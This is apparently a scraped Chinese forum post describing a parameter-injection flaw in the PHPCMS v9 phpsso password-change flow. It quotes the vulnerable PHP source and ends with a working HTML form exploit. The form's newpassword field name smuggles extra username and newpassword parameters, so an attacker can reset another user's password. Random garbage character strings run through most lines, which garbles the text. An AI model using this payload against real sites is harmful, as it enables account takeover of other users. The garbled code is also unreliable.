提到的通行证的代码:0 |, Z/ P4 X( g
R! q% T9 d! s% G& k
7 P/ ~8 A. j7 j! |parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);7 X8 R4 }/ |2 S; @* V; D
, F. B$ k% W$ Q/ i3 V8 a0 T在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。- ?: h' @3 T. O" p
5 M# \0 W9 ?5 M" }
我把它留给了你们。! q7 M% x! \8 D+ u+ v
不知道你们发现了它没有。$ D& m6 | Y0 @6 J- e
2 f* I" C G' {4 q, F
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
3 }5 `/ S9 q, K7 E
, I5 b$ S0 w* s6 g9 Z% \: n所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。+ k8 D @& _4 ~. }0 D1 k
/ K8 X% E9 `( _$ F
也就是
9 f& x: v5 [& m, a) C* o
7 X: w1 B0 [" Q( t6 T+ w% eusername=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
- C7 v9 Q" r* h) o- y/ @% j, W$ u2 b5 N7 k' u8 o$ d
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
1 u1 o* p; j' A8 ]2 d
5 p0 C: F F5 E* `" u! B" b+ ]. k" ^' V; \* D
其实我们有这样的机会,看看代码,如下:8 ]& s& l; k3 U1 X' N1 g
* `/ W1 O @5 `# H
0 Z% i! M, X; m% \public function auth_data($data) {
) v+ G* Q5 X) b* R $s = $sep = '';
! X4 x- f/ ?9 z9 @5 O foreach($data as $k => $v) {
& {" z/ e/ `' v3 H S" C if(is_array($v)) {2 I' a9 E# \9 l% B- G" A$ @
$s2 = $sep2 = '';
w. G2 O6 H0 m- N. I& _7 ] foreach($v as $k2 => $v2) {( R( e1 t" w1 j4 x& I/ @" H: i
$s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
Q6 `. v/ r8 c3 v4 ^, M, i1 P, \ $sep2 = '&';9 g. |! B& [/ A& o& C
}
, d$ Q! I. ^1 m( W1 W $s .= $sep.$s2;3 V: [: b2 `+ ~. B7 G8 [6 p
} else {6 O2 y, j6 V' G2 H* q. Y1 l
$s .= "$sep$k=".$this->_ps_stripslashes($v);) |# N5 i4 h7 b5 ]: T0 P" S
}
3 C/ R$ }6 ]& X1 P# S0 v $sep = '&';; b9 Z% K5 }; e$ j: {* T
}
9 d! L; U( e3 T+ G8 h! Q/ L7 j9 e) D+ D3 x
$auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
: D- K- I* L, a return $auth_s;: e' D" \' G0 w0 O2 z' ]
}0 f( W3 m# g$ I1 H
0 O& E' r2 a& E z( [
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
' m% c' V8 w5 I. T G" V( G+ ?3 p* z- t$ M) e) o
举个例子
4 a/ {/ e% {* w
; ~ T9 x; b, a0 L2 E/ ~6 M$a[aaa=a&bbb] = 'a';
' V' X0 _5 S+ m3 O5 N: Z
/ P1 W( R! R! q' m会变成aaa=a&bbb=a
i7 n4 C) q- a3 H
2 s% o3 t6 K; v i明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
. L5 k4 X6 @+ t
2 H1 c' |& Y* c9 P' L这个时候,我们可以再去看一个函数。
; A' o* j7 H" d& k
1 O p3 G: B3 l8 Y4 R就在这个文件内:- \% I! t7 z1 M! k* m
! k) o d' K. z2 B7 i; m6 A4 _8 ?; E$ ^0 ]4 k3 D B$ d
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {7 m- c# T: x& d# b$ _- ]) [
if($email && !$this->_is_email($email)) {
7 @; M9 U8 A! q) Z" y0 r+ F return -4;% D3 t1 T7 p6 `' n1 [9 M* H' D9 @$ w
}; R8 x5 N! X5 g% V2 @. V
return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));, A9 W" @4 m) R- z6 L0 c0 k3 Z
}
& j( Y" j8 Y7 s9 T H1 Y( d1 ^
: Q) C6 A B, U7 n) F# D" f这是向通行证发了这样一个请求。/ d# r* k$ f8 z5 D
6 t9 D% C$ H8 x4 G8 j5 |5 [8 U
我们再跟到通信证代码里去看看,就会有所发现。
( k$ ]# l! A* J0 m
0 f8 t6 J+ a1 c1 J+ X) d d) A7 x$ D$ ~% v& z/ [
public function edit() {
. T% C2 o, T% ?, a2 _, H//能省就省,太长了不是吗?
& h5 E1 O7 q: G( P; d" j! f, S
" L r6 o9 l$ x1 v6 tif($this->username) {
" r* Q0 y, I: k! e) ~- p//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
0 ]- F( c1 |, V: L" X3 V u, V7 g/ v $res = $this->db->update($data, array('username'=>$this->username));, ?' S; A( F% p
} else {
! Y9 C. a: Q& F w) |, e) h file_put_contents('typeb.txt',print_r($data,1).$this->uid);5 l& f( n( N7 F/ Q7 J% K
$res = $this->db->update($data, array('uid'=>$this->uid));
$ { N1 W' e! P- q9 ?4 t! Z }( J# V- o9 b# Z7 W( ?2 @2 V) V# t0 Y
3 a9 S6 j* Z$ B8 b
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
[, t2 L, B; H, R) n0 I6 @, ]- _4 }, y+ N" G t3 K, k, Y
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')! O( a9 T. b* |0 W
4 H7 E- F0 w0 g6 l. P( p* \, o2 b很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。+ W5 R v( ^6 v6 S
' Q% B3 H+ ?! [# H0 W* _' v7 b) W
我当然找到了:
8 H7 P; t. w+ w9 y' E+ d1 D7 U5 X Aphpcms9/phpcms/modules/member/index.php
6 j4 L% x8 y$ p" c" k
& p7 x u* c! r6 Q! a$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);2 l' X& k" }3 Y& z( D+ t, z
0 J1 ~* f+ h+ Y' E! Z" N4 O
然后就没有然后了。+ c% |, H2 ~/ x& r
# z8 `, L. o! ~5 y8 u( ^' z<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
' L0 p! M" ?6 I- _ <table width="100%" cellspacing="0" class="table_form">1 y* n! R- j" l- W
<tr>
. @' m1 Y- ?" J1 t! R% q, T% X5 v <th width="80">邮箱:</th>
1 c$ n. @, `( F, u+ A3 m <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
6 w, g# i! ^2 J: Y _ </tr>+ N7 `9 Y) N' R/ D
<tr>
* A3 z3 o, T" {/ ]" l; m# ~ <th width="80">原密码:</th>
0 G" {4 d. I& C <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>, _+ Z: l7 S: c
</tr>/ x, y1 Q& ?- _+ D0 c* Q
<tr>4 Z. U E. d6 F1 l
<th>新密码:</th>
; K9 j6 q. X" b# A5 w: ]4 h <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
& w" D) b& {8 t X5 L0 p6 P </tr>0 Q( h: b" \: @9 N) e
<th></th>' R5 ^3 t8 I" a" f' N4 S
<td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
+ U5 k. e$ z; B- R </tr>
; O- V D! d9 \- ]3 F </table>8 ^+ D: Y7 v% ?6 p* y* U
7 d/ O4 n# K! `" d
2 p* F8 _8 S, N8 I2 o
</form>
* [# N! m$ t7 P( O' s/ l } |